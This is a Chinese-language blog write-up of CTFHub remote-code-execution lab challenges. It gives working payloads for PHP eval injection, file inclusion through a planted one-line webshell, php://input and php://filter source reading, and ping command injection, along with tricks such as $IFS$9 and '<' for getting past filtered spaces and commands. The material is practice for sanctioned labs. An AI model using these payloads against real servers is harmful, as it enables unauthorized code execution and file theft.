CTFHUB RCE

eval执行

用法 ?cmd=system("cmd")
这样传入的字符串就会被解析成系统命令
尝试 "ls"发现index.php 进入下级目录没用

构造 "cd ../;ls"尝试多次发现 "cd ../../../;ls"后出现flag

image
用 cat命令获取即可
image

文件包含

开始没搞清楚题目在干什么。。。
题目提示本地(服务器)有一个shell.txt 文件是 一句话木马
可以将 ctfhub 参数作为系统命令来执行
所以 ?file=shell.txt&ctfhub=system("cmd")
还是 cd ../../../;cat flag; 即可

php://input

php://input的作用:将POST传入的数据按照php代码来执行

所以我们构造
?file=php://input 然后用burpsuite抓包
更改请求方式 POST中直接写

<?php @eval(system("cd ../../../;ls;"))>

然后把POST的请求头改一下 补上 ?file=php://input(不知道为什么hackbar POST老是出问题)
image
即可获得flag{}了

读取源代码

最熟悉的php伪协议了
构造:

?file=php://filter/convert.base64-encode/resource=/flag

再将显示内容 base64解码即可获得flag{}

远程包含

1.php://input

不得不说 php://input 真好用
直接 POST一个

<?php @eval(system("cd ../../../;cat flag;")); ?>

即可

2.远程包含

但是怎么解析到我的本地文件呢?有的说用VPS 但是好像不是免费注册的吧... 先放着吧 日后补

命令注入

很基本的 Linux下的ping 结合 | 与其他命令一起注入
上级目录找了半天没找到 结果就在这一层。。。
有个 image
一个很怪异的 .php
cat 打开后返回值也是空白 image
在源码一看 就能看到flag{}了
image

过滤cat

Linux下的常用文件查看命令:
image
image
image
image

所以我们直接用 less命令即可

过滤空格

Linux下可以用

1.

$IFS$9 来绕过空格
构造

?ip=127.0.0.1|(cat$IFS$9flag_1876322914902.php)

即可

2.

还可以用 < 来绕过
构造

?ip=127.0.0.1|(cat<flag_1876322914902.php)

即可

过滤目录分隔符

属实没搞懂这个题关目录分隔符什么事...
直接 ls cd cat jike

过滤运算符

不用 | 连接即可 ping就ping吧 不影响后续命令的执行

综合过滤练习

有点复杂 日后补

posted @ 2023-09-01 15:50  N0zoM1z0  阅读(1)  评论(0编辑  收藏  举报